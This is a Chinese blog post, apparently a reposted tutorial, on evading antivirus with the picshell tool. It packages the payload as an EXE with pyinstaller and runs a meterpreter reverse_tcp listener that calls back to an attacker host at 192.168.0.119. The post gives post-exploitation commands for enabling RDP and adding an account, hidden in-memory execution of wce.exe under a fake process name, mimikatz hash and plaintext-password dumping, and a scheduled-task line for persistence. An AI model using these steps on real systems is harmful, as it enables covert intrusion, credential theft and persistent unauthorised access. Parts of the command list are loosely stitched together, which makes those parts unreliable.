zoukankan      html  css  js  c++  java
  • python实现的分离免杀(包含pyinstaller的安装与使用)

    题记

            今天本来打算学python的,突然看到萌萌哒的小玉玉发了个免杀的工具,迫不及待的来试试了。此贴记录我实际操作的整个过程,在此膜拜大神,大神上次还分享了个0day(虽然烂大街了),但是对于我这个菜鸟来说,还是很有帮助的。

            项目地址:https://gitee.com/cutecuteyu/picshell_bypassav

            视频教程(附带代码解析):http://bilibili.com/video/BV1LA41147NQ

    一、准备工作

            机器:kali(ip:192.168.0.119)、win10(ip:192.168.0.200)

            图片:3.jpg

            环境:python3

    二、安装pyinstaller

    pyinstaller的安装

            2.1在cmd输入pip install pyinstaller 安装python打包成exe的工具。

            2.2在 PyInstaller 模块安装成功之后,在 Python 的安装目录下的 Scripts(D:PythonPython36Scripts) 目录下会增加一个 pyinstaller.exe 程序,接下来就可以使用该工具将 Python 程序生成 EXE 程序了。

    三、实现免杀程序生成

            3.1kali解压picshell的包。

            3.2命令行中运行python3 picshell.py

            按照步骤

            请输入图片的路径 :3.jpg(相对路径,最好是和picshell.py在同一文件夹下)

            请设置lhost (默认:127.0.0.1):192.168.0.119

            请设置lport (默认:4444):

            会生成payload.py与一个output文件夹。

            3.3将生成的payload.py放到windows上用:pyinstaller -F payload.py生成exe文件

            3.4将exe文件与注入后的图片放在同一目录即可使用

    四、程序利用

            4.1kali启动msf

            注意:首次启动需要链接数据库

            msfconsole

            进入后开启监听模式

            set payload windows/meterpreter/reverse_tcp

            set lhost 192.168.0.119

            show options

            4.2开启监听后在另一个机器运行我们的木马(可改名)。可以看到拿到权限。

            4.3利用(参考:http://cnblogs.com/backlion/p/9484949.html)

    (1)开启3389

    run post/windows/manage/enable_rdp

    (2)创建用户加入桌面组

    run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh."
    

    help# 查看Meterpreter帮助

    background#返回,把meterpreter后台挂起

    bgkill# 杀死一个背景 meterpreter 脚本

    bglist#提供所有正在运行的后台脚本的列表

    bgrun#作为一个后台线程运行脚本

       

    channel#显示活动频道

    sessions -i number # 与会话进行交互,number表示第nsession,使用session -i 连接到指定序号的meterpreter会话已继续利用

    sesssions -k  number #与会话进行交互

    close# 关闭通道

    exit# 终止 meterpreter 会话

    quit# 终止 meterpreter 会话

    interact id #切换进一个信道

    (3)execute命令

    "execute"命令为目标主机上执行一个命令,其中"execute -h"显示帮助信息。-f为执行要运行的命令,

    在目标主机上运行某个程序,例如我们目前注入进程到explorer.exe后,运行用户为超级管理administrator

    我们运行一下目标主机上的记事本程序

    execute  -f notepad.exe


    目标主机上立马弹出来一个记事本程序,如下图:

    这样太明显,如果希望隐藏后台执行,加参数-H

    execute  -H -f notepad.exe

    此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了

    再看一个,我们运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上

    命令:

    execute  -H -i -f cmd.exe

    这达到的效果就跟使用shell命令一样了

    再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。

    execute  -H -m -d notepad.exe-f  wce.exe -a "-o wce.txt"

    -d 在目标主机执行时显示的进程名称(用以伪装)

    -m 直接从内存中执行

     "-o wce.txt"wce.exe的运行参数

    4mimikatz

    meterpreter > load mimikatz  #加载mimikatz

    meterpreter > msv #获取hash

    meterpreter > kerberos #获取明文

    meterpreter >ssp   #获取明文信息

    meterpreter > wdigest #获取系统账户信息

    meterpreter >mimikatz_command -f a::   #必须要以错误的模块来让正确的模块显示

    meterpreter >mimikatz_command -f hash::   #获取目标 hash

    meterpreter > mimikatz_command -f samdump::hashes

    meterpreter > mimikatz_command -f sekurlsa::searchPasswords

    SCHTASKS /Create /TN calc /TR d:shellpayload.exe /SC DAILY /ST 10:54

  • 相关阅读:
    链式栈的C++实现
    Java面试之设计模式二
    前端资源
    Java面试之异常
    Java面试之序列化
    Java面试之重写(Override)与重载(Overload)
    项目视图展示
    Java面试之集合
    Java面试之SSH框架面试题集锦
    JDBC技术
  • 原文地址:https://www.cnblogs.com/sunny11/p/14079096.html
Copyright © 2011-2022 走看看